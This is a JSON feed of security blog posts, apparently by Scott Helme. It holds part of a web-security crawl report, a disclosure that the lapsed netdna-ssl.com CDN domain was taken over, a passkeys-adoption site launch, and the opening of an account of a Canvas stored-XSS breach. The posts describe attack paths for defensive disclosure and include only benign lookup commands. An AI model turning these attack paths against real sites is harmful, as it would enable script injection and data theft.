srcset=\"https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w600/2026/06/ipv6.png 600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w1000/2026/06/ipv6.png 1000w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w1600/2026/06/ipv6.png 1600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w2400/2026/06/ipv6.png 2400w\" sizes=\"(min-width: 720px) 720px\"></figure><p></p><figure class=\"kg-card kg-image-card\"><img src=\"https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/06/dnssec.png\" class=\"kg-image\" alt=\"Top 1 Million Analysis – June 2026: Ten Years of Web Security\" loading=\"lazy\" width=\"2000\" height=\"1108\" srcset=\"https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w600/2026/06/dnssec.png 600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w1000/2026/06/dnssec.png 1000w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w1600/2026/06/dnssec.png 1600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w2400/2026/06/dnssec.png 2400w\" sizes=\"(min-width: 720px) 720px\"></figure><p></p><h3 id=\"fossils-of-the-web\">Fossils of the web</h3><p>Every crawl turns up headers that outlived the problem they were supposed to solve.</p><p></p><ul><li>HPKP (Public-Key-Pins): still on 654 sites, even though I <a href=\"https://scotthelme.co.uk/hpkp-is-no-more/?ref=scotthelme.ghost.io\" rel=\"noreferrer\">blogged about it being removed</a> back in 2020.</li><li><a href=\"https://scotthelme.co.uk/what-the-floc/?ref=scotthelme.ghost.io\" rel=\"noreferrer\">FLoC opt-out</a> (<code>interest-cohort=()</code>): 5,872 sites still send the opt-out for an advertising technology Google cancelled in 2022.</li><li>X-XSS-Protection (covered above): 163,114 sites, for a browser feature that no longer exists, and I blogged about <a href=\"https://scotthelme.co.uk/security-headers-updates/?ref=scotthelme.ghost.io\" rel=\"noreferrer\">XXP being removed back in 2019</a>.</li></ul><p></p><p>We seem to be holding on to some of these headers much longer than we should, so consider this a friendly nudge to delete the ones you don't need.</p><p></p><h3 id=\"servers-infrastructure\">Servers & infrastructure</h3><p>The infrastructure picture is more concentrated than ever. By <code>Server</code> header:</p><p></p><table>\n<thead>\n<tr>\n<th>Server</th>\n<th>Count</th>\n</tr>\n</thead>\n<tbody>\n<tr>\n<td>cloudflare</td>\n<td>361,366</td>\n</tr>\n<tr>\n<td>nginx</td>\n<td>105,829</td>\n</tr>\n<tr>\n<td>Apache</td>\n<td>67,461</td>\n</tr>\n<tr>\n<td>LiteSpeed</td>\n<td>22,850</td>\n</tr>\n<tr>\n<td>Microsoft-IIS/10.0</td>\n<td>14,818</td>\n</tr>\n<tr>\n<td>AmazonS3</td>\n<td>9,095</td>\n</tr>\n<tr>\n<td>openresty</td>\n<td>8,028</td>\n</tr>\n<tr>\n<td>nginx/1.24.0 (Ubuntu)</td>\n<td>7,810</td>\n</tr>\n<tr>\n<td>Vercel</td>\n<td>7,685</td>\n</tr>\n<tr>\n<td>CloudFront</td>\n<td>6,369</td>\n</tr>\n</tbody>\n</table>\n<p></p><p>Cloudflare alone now fronts well over a third of the responding sites, which explains a lot of what we've seen above: when one provider flips a default — HTTP/3, NEL, the cross-origin headers, or (as we'll see in part two) post-quantum primitives — it moves the entire web's numbers overnight. By TLD, <code>.com</code> dominates as always.</p><p></p><table>\n<thead>\n<tr>\n<th>TLD</th>\n<th>Count</th>\n</tr>\n</thead>\n<tbody>\n<tr>\n<td>.com</td>\n<td>360,571</td>\n</tr>\n<tr>\n<td>.net</td>\n<td>34,704</td>\n</tr>\n<tr>\n<td>.org</td>\n<td>34,015</td>\n</tr>\n<tr>\n<td>.uk</td>\n<td>28,940</td>\n</tr>\n<tr>\n<td>.ru</td>\n<td>28,603</td>\n</tr>\n<tr>\n<td>.de</td>\n<td>25,384</td>\n</tr>\n<tr>\n<td>.br</td>\n<td>14,544</td>\n</tr>\n<tr>\n<td>.nl</td>\n<td>12,929</td>\n</tr>\n<tr>\n<td>.jp</td>\n<td>10,812</td>\n</tr>\n<tr>\n<td>.in</td>\n<td>9,503</td>\n</tr>\n</tbody>\n</table>\n<p></p><h3 id=\"security-grades\">Security Grades</h3><p>Finally, the <a href=\"https://securityheaders.com/?ref=scotthelme.ghost.io\">securityheaders.com</a>-style grade across the responding sites is a humbling reality check:</p><p></p><table>\n<thead>\n<tr>\n<th>Grade</th>\n<th>Jun 2022</th>\n<th>Jun 2026</th>\n</tr>\n</thead>\n<tbody>\n<tr>\n<td>A+</td>\n<td>2,860</td>\n<td>10,496</td>\n</tr>\n<tr>\n<td>A</td>\n<td>31,281</td>\n<td>61,350</td>\n</tr>\n<tr>\n<td>B</td>\n<td>33,333</td>\n<td>71,700</td>\n</tr>\n<tr>\n<td>C</td>\n<td>38,462</td>\n<td>40,991</td>\n</tr>\n<tr>\n<td>D</td>\n<td>139,632</td>\n<td>166,412</td>\n</tr>\n<tr>\n<td>E</td>\n<td>9,951</td>\n<td>25,815</td>\n</tr>\n<tr>\n<td>F</td>\n<td>564,740</td>\n<td>440,832</td>\n</tr>\n<tr>\n<td>R (redirect)</td>\n<td>—</td>\n<td>1,406</td>\n</tr>\n</tbody>\n</table>\n<p></p><p>More than half the web still scores an <strong>F</strong> on basic security headers — though there's real progress hiding in that number: the F count actually <em>fell</em> by around 124,000 since 2022 while every higher grade grew. Slow, but in the right direction.</p><p></p><figure class=\"kg-card kg-image-card\"><img src=\"https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/06/security-headers.png\" class=\"kg-image\" alt=\"Top 1 Million Analysis – June 2026: Ten Years of Web Security\" loading=\"lazy\" width=\"2000\" height=\"1094\" srcset=\"https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w600/2026/06/security-headers.png 600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w1000/2026/06/security-headers.png 1000w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w1600/2026/06/security-headers.png 1600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w2400/2026/06/security-headers.png 2400w\" sizes=\"(min-width: 720px) 720px\"></figure><p></p><h3 id=\"closing-thoughts\">Closing thoughts</h3><p>Looking back over ten years of data, the overall trend is clear: the web is in a much better place than it used to be. HTTPS is now the norm, HSTS is far more common, CSP adoption continues to grow, and newer mechanisms like the Reporting API, COOP/COEP and Permissions-Policy are starting to appear at meaningful scale. That progress matters, and it represents a huge amount of work across browsers, hosting providers, CDNs, developers, security teams and standards bodies.</p><p>But adoption alone doesn’t tell the whole story. Many sites now have the right headers, policies or controls present, but they are often incomplete, overly permissive, or deployed in a way that limits their real-world value. A CSP with <code>unsafe-inline</code>, an HSTS policy with a tiny <code>max-age</code>, cookies missing key attributes, or a DMARC policy stuck at <code>p=none</code> all show the same thing: getting the feature deployed is only the first step.</p><p>The encouraging part is that the direction of travel is positive. The challenge for the next ten years is not just getting more sites to turn these protections on, but helping them turn them on properly. Better defaults from platforms, clearer guidance from standards, and tooling that makes secure configuration easier will continue to move the web forward. The web has made real progress, but there is still a lot of value left on the table.</p><p></p><h3 id=\"get-the-data\">Get the data</h3><p>As always, everything is open. The full per-metric files, the raw MySQL dump, and the daily crawl data are available via <a href=\"https://crawler.ninja/?ref=scotthelme.ghost.io\">Crawler.Ninja</a>, there for anyone who wants to do a deeper dive than I have here.</p><p>Ten years in, the picture is genuinely mixed: the foundations are in great shape and getting better, the new isolation and reporting primitives are taking root, but the security-header long tail has barely moved and over half the web still scores an F. Plenty left to do.</p><p>And that's just the headers and hygiene. For the really interesting story this year — TLS, certificates, the collapse of the one-year certificate, and post-quantum cryptography arriving on nearly half the web — head over to <a href=\"https://scotthelme.co.uk/top-1-million-analysis-june-2026-the-state-of-crypto/?ref=scotthelme.ghost.io\" rel=\"noreferrer\">part two</a> when it's published tomorrow. Here's to the next ten years, and hopefully not another four-year gap before the next report!</p><p></p><blockquote><em>*Crawl date: 13 June 2026. 819,002 responding sites from the Tranco Top 1 Million. Powered by </em><a href=\"https://crawler.ninja/?ref=scotthelme.ghost.io\"><em>Crawler.Ninja</em></a><em> and </em><a href=\"https://report-uri.com/?ref=scotthelme.ghost.io\"><em>Report URI</em></a><em>.</em></blockquote><p></p>",
          "image": {
            "url": "https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/06/10-year-part-1.png",
            "title": null
          },
          "media": [
            {
              "url": "https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/06/10-year-part-1.png",
              "image": "https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/06/10-year-part-1.png",
              "title": null,
              "length": null,
              "type": "image",
              "mimeType": null
            }
          ],
          "authors": [
            {
              "name": "Scott Helme",
              "email": null,
              "url": null
            }
          ],
          "categories": [
            {
              "label": "Crawler Report",
              "term": "Crawler Report",
              "url": null
            }
          ]
        },
        {
          "id": "6a3287bdc9b18e0001e1bb46",
          "title": "A dead CDN, a wildcard, and an attack waiting to happen: the netdna-ssl.com takeover",
          "description": "<p>Every now and then I go digging through <a href=\"https://report-uri.com/?ref=scotthelme.ghost.io\" rel=\"noreferrer\">Report URI</a>'s Threat Intelligence data feeds, looking for domains that show up in CSP reports where they really shouldn't. Last week one jumped out at me: <code>netdna-ssl.com</code>. If you've been around the WordPress world</p>",
          "url": "https://scotthelme.ghost.io/a-dead-cdn-a-wildcard-and-an-attack-waiting-to-happen-the-netdna-ssl-com-takeover/",
          "published": "2026-06-24T13:11:54.000Z",
          "updated": "2026-06-24T13:11:54.000Z",
          "content": "<img src=\"https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/06/netdna-ssl.png\" alt=\"A dead CDN, a wildcard, and an attack waiting to happen: the netdna-ssl.com takeover\"><p>Every now and then I go digging through <a href=\"https://report-uri.com/?ref=scotthelme.ghost.io\" rel=\"noreferrer\">Report URI</a>'s Threat Intelligence data feeds, looking for domains that show up in CSP reports where they really shouldn't. Last week one jumped out at me: <code>netdna-ssl.com</code>. If you've been around the WordPress world for a while, that name might ring a bell — and that's exactly the problem.</p><p></p><figure class=\"kg-card kg-image-card\"><a href=\"https://report-uri.com/?ref=scotthelme.ghost.io\"><img src=\"https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/06/report-uri-logo-4.png\" class=\"kg-image\" alt=\"A dead CDN, a wildcard, and an attack waiting to happen: the netdna-ssl.com takeover\" loading=\"lazy\" width=\"800\" height=\"70\" srcset=\"https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w600/2026/06/report-uri-logo-4.png 600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/06/report-uri-logo-4.png 800w\" sizes=\"(min-width: 720px) 720px\"></a></figure><p></p><h3 id=\"what-netdna-sslcom-used-to-be\">What netdna-ssl.com used to be</h3><p><code>netdna-ssl.com</code> was the asset domain behind MaxCDN, the CDN that started life as NetDNA back in 2010. If you were a WP Engine customer on their \"Legacy Network\", your static assets — JS, CSS, fonts, images, PDFs — were served from a host that looked like this:</p><pre><code><site-hash>.wpengine.netdna-ssl.com\n</code></pre><p></p><p>MaxCDN got swallowed by StackPath in 2016, the brand was retired at the end of 2022, and StackPath's CDN ceased operations in late 2023. WP Engine had been steering people onto their Advanced Network for years. Job done, right?</p><p>Except the domain itself was allowed to expire. And on 24th July 2025, somebody re-registered it.</p><p></p><h3 id=\"who-owns-it-now\">Who owns it now</h3><p>A quick RDAP lookup tells the story:</p><pre><code>$ curl -s https://rdap.verisign.com/com/v1/domain/netdna-ssl.com\n  registration   2025-07-24T18:13:09Z\n  expiration     2027-07-24T18:13:09Z\n  nameservers    JACK.NS.CLOUDFLARE.COM, MEILING.NS.CLOUDFLARE.COM\n  registrar      Gname.com Pte. Ltd.\n</code></pre><p></p><p>It's now sitting on Cloudflare nameservers, registered through Gname, and the apex serves this:</p><pre><code>$ curl -s https://netdna-ssl.com/ | grep -io '<title>[^<]*</title>'\n<title>Snapinsta - Download Instagram Videos, Reels, Stories for FREE</title>\n</code></pre><p></p><p>A \"Snapinsta\" Instagram-downloader page, wired up to Google AdSense and Tag Manager. So an unrelated third party with an ad-monetisation motive now owns a domain that thousands of sites still pull assets from. You can probably see where this is going.</p><p></p><h3 id=\"the-wildcard\">The wildcard</h3><p>Here's the part that really caught my eye. The new owner holds wildcard DNS across the entire <code>*.wpengine.netdna-ssl.com</code> namespace. I can prove it by asking for a hostname that I just invented:</p><pre><code>$ dig +short test123random.wpengine.netdna-ssl.com\n104.21.72.58\n172.67.175.240\n</code></pre><p></p><p>That resolves. Every legacy <code><hash>.wpengine.netdna-ssl.com</code> asset URL still floating around in themes, docs and databases now points at infrastructure the original owner doesn't control.</p><p></p><h3 id=\"why-it-isnt-on-fire-yet\">Why it isn't on fire yet</h3><p>It's tempting to overstate this, but I want to be honest. The apex and <code>wpengine.netdna-ssl.com</code> are live over HTTPS today. But the <em>deep</em> asset hostnames — the actual <code><hash>.wpengine.netdna-ssl.com</code> URLs that pages reference — currently fail the TLS handshake:</p><pre><code>$ openssl s_client -connect netdna-ssl.com:443 \\\n    -servername wrz...gpg.wpengine.netdna-ssl.com\n... sslv3 alert handshake failure\n</code></pre><p></p><p>The reason is mundane. The Cloudflare Universal SSL cert on the edge only covers:</p><pre><code>DNS:netdna-ssl.com, DNS:proxy.netdna-ssl.com, DNS:*.proxy.netdna-ssl.com\n</code></pre><p></p><p>No <code>*.wpengine.netdna-ssl.com</code>. So right now those legacy <code>script-src</code> and <code>font-src</code> requests break rather than execute attacker code.</p><p>But make no mistake — this is a loaded gun, not a safe one. Closing that gap is a single toggle in Cloudflare's Advanced Certificate Manager. The DNS control is already total, the monetisation is already running. The day a <code>*.wpengine.netdna-ssl.com</code> certificate gets issued, this flips from \"broken asset\" to \"arbitrary JavaScript executing in thousands of pages.\"</p><p></p><h3 id=\"how-big-is-the-blast-radius\">How big is the blast radius?</h3><p>A GitHub code search for <code>wpengine.netdna-ssl.com</code> returns <em>nearly 4,000 files</em> at the time of writing. Not hypothetical, either — these are real references in real projects:</p><ul><li><code>mozilla/webxr-polyfill</code> loads its web fonts (<code>@font-face</code>, Zilla Slab) from a <code>…-wpengine.netdna-ssl.com</code> host</li><li>Kong, Nextcloud, the Yale Daily News, NCSS, Server Density… the list goes on</li></ul><p></p><p>To be precise: that's the scale of residual <em>references</em>, not 4,000 confirmed-vulnerable live sites. But every rendered page that still emits one of these URLs is sending its visitors' browsers to a domain owned by an ad operator.</p><p></p><h3 id=\"this-isnt-a-forgotten-backwater-%E2%80%94-its-a-top-20000-domain\">This isn't a forgotten backwater — it's a top 20,000 domain</h3><p>You might reasonably assume a dead CDN domain gets no real traffic, and that those GitHub hits are just fossils sitting in repos nobody runs. They're not. Cloudflare Radar <a href=\"https://radar.cloudflare.com/domains/domain/netdna-ssl.com?ref=scotthelme.ghost.io\" rel=\"noreferrer\">ranks netdna-ssl.com</a> inside the top 20,000 domains globally. That's a popularity bucket measured from live DNS resolver data — real browsers are still resolving this name today, in volume. Cloudflare's own <a href=\"https://radar.cloudflare.com/scan/4b4f0d48-bf40-4123-862f-8bf1752b6bb4/summary?ref=scotthelme.ghost.io\" rel=\"noreferrer\">URL scan</a> of the domain confirms what's being served at the other end of those requests. So this isn't a theoretical risk built on a code-search number; it's a domain with genuine, current reach that an unrelated ad operator now controls.</p><p></p><h3 id=\"weve-seen-this-exact-movie-before\">We've seen this exact movie before</h3><p>If this feels familiar, it's because it's the <a href=\"https://scotthelme.co.uk/warning-users-of-the-polyfill-io-supply-chain-attack/?ref=scotthelme.ghost.io\" rel=\"noreferrer\">polyfill.io attack from June 2024</a> wearing different clothes. There, a domain everyone trusted changed hands, and ~100,000+ sites inherited the new owner's intent overnight. Same root cause every time: we pin our trust to a domain, not to the code. When the domain changes hands, every site that referenced it gets dragged along.</p><p>The difference here is timing. <code>polyfill.io</code> fired immediately. <code>netdna-ssl.com</code> is pre-positioned but currently dormant — which means, for once, there's a window to fix it <em>before</em> it goes off.</p><p></p><h3 id=\"what-to-actually-do\">What to actually do</h3><p>If you want to take some immediate steps to make sure this potential issue doesn't impact you:</p><ol><li>Grep your sites. Search your HTML, themes, and database for <code>netdna-ssl.com</code>, <code>netdna-cdn.com</code> and <code>*.wpengine.netdna-ssl.com</code>. Remove or rehost anything you find. WP Engine customers: get off the Legacy Network and onto the Advanced Network / GES.</li><li>Use SRI. Subresource Integrity on third-party <code><script></code> and <code><link></code> tags means a swapped file <em>fails closed</em> instead of executing. (It won't save your fonts or images, mind you — there's no SRI for those.)</li><li>Lock down CSP — and report on it. A tight <code>script-src</code> / <code>font-src</code> / <code>connect-src</code> stops the loaded gun firing in your pages, and <code>report-uri</code> / <code>report-to</code> lets you <em>detect</em> these references in the wild. That's not a sales pitch, it's literally how I found this one — it turned up in CSP reports.</li></ol><p></p><p>Audit your dependencies. Not just the npm ones — the DNS ones too. The domains you stopped thinking about years ago are exactly the ones somebody else is hoping you forgot.</p><p></p>",
          "image": {
            "url": "https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/06/netdna-ssl.png",
            "title": null
          },
          "media": [
            {
              "url": "https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/06/netdna-ssl.png",
              "image": "https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/06/netdna-ssl.png",
              "title": null,
              "length": null,
              "type": "image",
              "mimeType": null
            }
          ],
          "authors": [
            {
              "name": "Scott Helme",
              "email": null,
              "url": null
            }
          ],
          "categories": [
            {
              "label": "Supply Chain Attack",
              "term": "Supply Chain Attack",
              "url": null
            },
            {
              "label": "Subresource Integrity",
              "term": "Subresource Integrity",
              "url": null
            },
            {
              "label": "Content Security Policy",
              "term": "Content Security Policy",
              "url": null
            },
            {
              "label": "Threat Intelligence",
              "term": "Threat Intelligence",
              "url": null
            }
          ]
        },
        {
          "id": "6a327b74c9b18e0001e1bb2e",
          "title": "Why No Passkeys? Naming the Top Sites That Still Don't Support Them",
          "description": "<p>Back in 2017, Troy Hunt and I built a little website called <a href=\"https://whynohttps.com/?ref=scotthelme.ghost.io\">whynohttps.com</a>. The idea was simple: take the most popular sites on the internet, check which ones still weren't redirecting visitors to HTTPS, and put the laggards on a list for everyone to see. No lecture,</p>",
          "url": "https://scotthelme.ghost.io/why-no-passkeys-naming-the-top-sites-that-still-dont-support-them/",
          "published": "2026-06-22T13:22:10.000Z",
          "updated": "2026-06-22T13:22:10.000Z",
          "content": "<img src=\"https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/06/why-no-passkeys-hero.png\" alt=\"Why No Passkeys? Naming the Top Sites That Still Don't Support Them\"><p>Back in 2017, Troy Hunt and I built a little website called <a href=\"https://whynohttps.com/?ref=scotthelme.ghost.io\">whynohttps.com</a>. The idea was simple: take the most popular sites on the internet, check which ones still weren't redirecting visitors to HTTPS, and put the laggards on a list for everyone to see. No lecture, no 40-page report, just a leaderboard of who hadn't done the thing yet. It turned out that a list is a surprisingly effective motivator. Nobody wants to be on the list.</p><p>We're at exactly the same moment again, but this time the technology is passkeys. So, Troy provided the domain, and I've built the obvious sequel: <a href=\"https://whynopasskeys.com/?ref=scotthelme.ghost.io\"><strong>whynopasskeys.com</strong></a></p><p></p><figure class=\"kg-card kg-image-card\"><a href=\"https://whynopasskeys.com/?ref=scotthelme.ghost.io\"><img src=\"https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/06/image-9.png\" class=\"kg-image\" alt=\"Why No Passkeys? Naming the Top Sites That Still Don't Support Them\" loading=\"lazy\" width=\"867\" height=\"412\" srcset=\"https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w600/2026/06/image-9.png 600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/06/image-9.png 867w\" sizes=\"(min-width: 720px) 720px\"></a></figure><p></p><h3 id=\"weve-already-had-the-passkeys-argument\">We've already had the passkeys argument</h3><p>Don't worry, I'm not going to tread the same ground again. I've written plenty about passkeys already, from <a href=\"https://scotthelme.co.uk/passkeys-101-an-introduction-to-passkeys-and-how-they-work/?ref=scotthelme.ghost.io\">Passkeys 101</a> covering how they actually work, to the <a href=\"https://scotthelme.co.uk/xss-is-deadly-for-passkeys-the-hidden-risk-of-attestation-none/?ref=scotthelme.ghost.io\">sharper edges of the threat model</a> that nobody seems to be talking about. The short version is the part that matters here: passkeys are phishing-resistant by design. They're hard to phish, they can't leak in a breach, and they can't be replayed. Whether a passkey replaces your password entirely, or just backs a password up as a 2FA mechanism, it removes a whole category of attacks that we've been fighting, and losing, for decades.</p><p>The technology works and it's widely supported. We aren't waiting on engineering, we're waiting on <em>adoption</em>. And just like HTTPS in 2017, the thing standing between users and a meaningfully more secure internet is a long list of websites that haven't gotten around to it yet.</p><p>That's the gap I want to make visible.</p><p></p><h3 id=\"what-the-site-shows\">What the site shows</h3><p><a href=\"https://whynopasskeys.com/?ref=scotthelme.ghost.io\" rel=\"noreferrer\">whynopasskeys.com</a> takes the world's most popular websites and tells you which ones support passkeys and which ones don't. There's a global Top 25, and there are per-country lists so you can see how your own corner of the internet is doing, covering well over a hundred countries.</p><p>The launch-day headline number is the whole reason this site exists:</p><p></p><blockquote><strong>7 of the top 25 sites globally still have no passkey support. That's 28% of the most-visited destinations on the internet.</strong></blockquote><p></p><p>If they do not support passkeys, passkeys still feel optional everywhere else, and these aren't small shops without a security team. The current no-passkeys list at the top end includes names like Instagram, Netflix, Spotify, Samsung, Roblox and Baidu. Sites with hundreds of millions, in some cases billions, of accounts, all still protected by nothing more than a password and possibly MFA. These are the sites that shape user expectations.</p><p>I've also tried to be honest in the <em>other</em> direction, because \"supports passkeys\" is doing a lot of work as a phrase. A site that lets you log in with a passkey and skip the password entirely is in a very different place to one that only allows a passkey as a second factor on top of your existing password. So where I can, the list distinguishes between passwordless passkey support and MFA-only support. </p><p></p><h3 id=\"how-its-built\">How it's built</h3><p>People asked the same thing about whynohttps.com all those years ago, so let me get ahead of it: how do you know?</p><p>For ranking the sites I use <a href=\"https://radar.cloudflare.com/domains?ref=scotthelme.ghost.io\">Cloudflare Radar</a> for the global and US lists, which is about as good a successor to the old Alexa rankings as we have, and the <a href=\"https://tranco-list.eu/?ref=scotthelme.ghost.io\">Tranco</a> list for per-country rankings, attributing sites to countries by their national domain so you get <em>that country's</em> popular sites rather than the same handful of global giants on every page. There's a fair bit of unglamorous plumbing to strip out the CDNs, ad networks and API endpoints that clog up raw rankings, because nobody needs to know whether an analytics beacon supports passkeys.</p><p>The passkey support data itself comes from our <a href=\"https://github.com/ScottHelme/passkeys-directory/issues?ref=scotthelme.ghost.io\" rel=\"noreferrer\">passkeys-directory</a>, a community-maintained list. This is the honest limitation of the whole project, and I'd rather say it out loud than have someone \"gotcha\" me with it: <em>passkey support cannot be reliably auto-detected.</em> WebAuthn lives behind a login flow, so there's no header to scan and no endpoint to probe the way there was with HTTPS. The list is therefore only as complete as the directory it draws from.</p><p>Which leads nicely to the most important feature.</p><p></p><h3 id=\"if-a-site-is-wrong-you-can-fix-it\">If a site is wrong, you can fix it!</h3><p>Every \"No passkeys\" entry on the site links straight to a way to correct it. If a site <em>does</em> support passkeys and we've got it wrong, the fix is to <a href=\"https://github.com/ScottHelme/passkeys-directory/issues?ref=scotthelme.ghost.io\" rel=\"noreferrer\">submit it to our passkeys-directory</a>, which improves the data for the whole community, not just my little list. I would genuinely love for this site to get less accurate over time, in the sense that I have to keep moving names from the red column to the green one.</p><p>Because that's the actual goal. whynohttps.com wasn't really about the shaming, satisfying as it was. It was about giving people a clear, sharable, undeniable picture of where we were, so that the conversation inside these companies shifted from \"should we?\" to \"why are we on this list?\". HTTPS went from a 'nice-to-have' to being 'essential' in a remarkably short space of time, and a bit of friendly public accountability was part of that.</p><p>Passkeys are at the same crossroads now. The sites at the top of these lists set the tone for everyone else. When the biggest names make passkeys popular, it stops being exotic and starts being expected.</p><p></p><h3 id=\"a-note-for-the-sites-doing-the-work\">A note for the sites doing the work</h3><p>If you're rolling passkeys out, brilliant. It's harder than it looks to do well, and the threat model has subtleties that bite you precisely <em>because</em> passkeys are so strong everywhere else, which is the whole reason we <a href=\"https://scotthelme.co.uk/bringing-in-the-experts-having-our-passkeys-implementation-security-tested/?ref=scotthelme.ghost.io\">had our own implementation independently security tested</a> before we shipped it. If you're standing up passkeys and want visibility into what's actually happening in your users' browsers during sign-in, that's exactly the kind of thing <a href=\"https://report-uri.com/?ref=scotthelme.ghost.io\">Report URI</a> is built to watch. The best time to know your auth flow is misbehaving is before your users tell you.</p><p></p><h3 id=\"go-and-have-a-look\">Go and have a look</h3><p><a href=\"https://whynopasskeys.com/?ref=scotthelme.ghost.io\">whynopasskeys.com</a> is live. Go and find your favourite sites, find your country, and if there's a name on there that really ought to know better, share it with them. The fastest way to get a site off the list is for enough of its users to ask why it's on there in the first place.</p><p>And if you run one of these sites: you already know what to do. Let's get you off the list.</p><p></p>",
          "image": {
            "url": "https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/06/why-no-passkeys-hero.png",
            "title": null
          },
          "media": [
            {
              "url": "https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/06/why-no-passkeys-hero.png",
              "image": "https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/06/why-no-passkeys-hero.png",
              "title": null,
              "length": null,
              "type": "image",
              "mimeType": null
            }
          ],
          "authors": [
            {
              "name": "Scott Helme",
              "email": null,
              "url": null
            }
          ],
          "categories": []
        },
        {
          "id": "6a2454a32b2c280001660ce5",
          "title": "The Instructure Canvas Breach (2026): How XSS in a Support Ticket Compromised 275 Million Students",
          "description": "<p>A single support ticket became the front door to 275 million student records. The Canvas breach shows how quickly untrusted user content can become a serious security incident when it is rendered inside privileged internal tooling. This was not an exotic attack chain; it was stored XSS, over-scoped access,</p>",
          "url": "https://scotthelme.ghost.io/the-instructure-canvas-breach-2026-how-xss-in-a-support-ticket-compromised-275-million-students/",
          "published": "2026-06-15T12:21:15.000Z",
          "updated": "2026-06-15T12:21:15.000Z",
          "content": "<img src=\"https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/06/instructure-canvas.png\" alt=\"The Instructure Canvas Breach (2026): How XSS in a Support Ticket Compromised 275 Million Students\"><p>A single support ticket became the front door to 275 million student records. The Canvas breach shows how quickly untrusted user content can become a serious security incident when it is rendered inside privileged internal tooling. This was not an exotic attack chain; it was stored XSS, over-scoped access, and a missing browser-enforced safety net. The fix is cheap. The consequences of ignoring it are not.</p><p></p><figure class=\"kg-card kg-image-card\"><a href=\"https://report-uri.com/?ref=scotthelme.ghost.io\"><img src=\"https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/06/report-uri-logo-2.png\" class=\"kg-image\" alt=\"The Instructure Canvas Breach (2026): How XSS in a Support Ticket Compromised 275 Million Students\" loading=\"lazy\" width=\"800\" height=\"70\" srcset=\"https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w600/2026/06/report-uri-logo-2.png 600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/06/report-uri-logo-2.png 800w\" sizes=\"(min-width: 720px) 720px\"></a></figure><p></p><p>In April and May 2026, the cybercrime group ShinyHunters compromised Instructure's Canvas — the learning platform used by roughly 275 million students at 8,809 schools and universities worldwide — by exploiting a stored cross-site scripting (XSS) vulnerability in the free-tier support ticket system. A malicious file attached to a single help-desk ticket fired inside a Canvas employee's authenticated session when they opened it, handing the attacker cross-tenant API access to every paying institution on the platform. Canvas went offline mid-finals and during AP exams, an alleged $10 million ransom was reportedly paid, and both the US Congress and the US Department of Education opened inquiries. The architectural pattern that made this possible — unauthenticated user content rendered inside privileged admin tooling, on infrastructure shared between free and paying tenants — exists in most SaaS estates I've seen. The first line of defence is often just a single HTTP header.</p><p></p><h3 id=\"a-note-before-we-start-%E2%80%94-whats-confirmed-and-what-isnt\">A note before we start — what's confirmed and what isn't</h3><p>Before I get into the details, I want to be clear about what I know and what I'm inferring, because the public record on this incident is uneven at best and I don't want to mislead.</p><p><strong>What is confirmed</strong>, either by Instructure directly (their incident update page and their customer webinar) or via Phil Hill's coverage of that webinar at On EdTech, the \"linked file with hidden code\" phrasing, the April 22 → April 25 → April 28–30 timeline, the customer-service representative whose session was used to call Canvas's APIs, the second XSS in the discussion feature on May 7, the use of the custom-themes feature to deploy a CSS file, and the 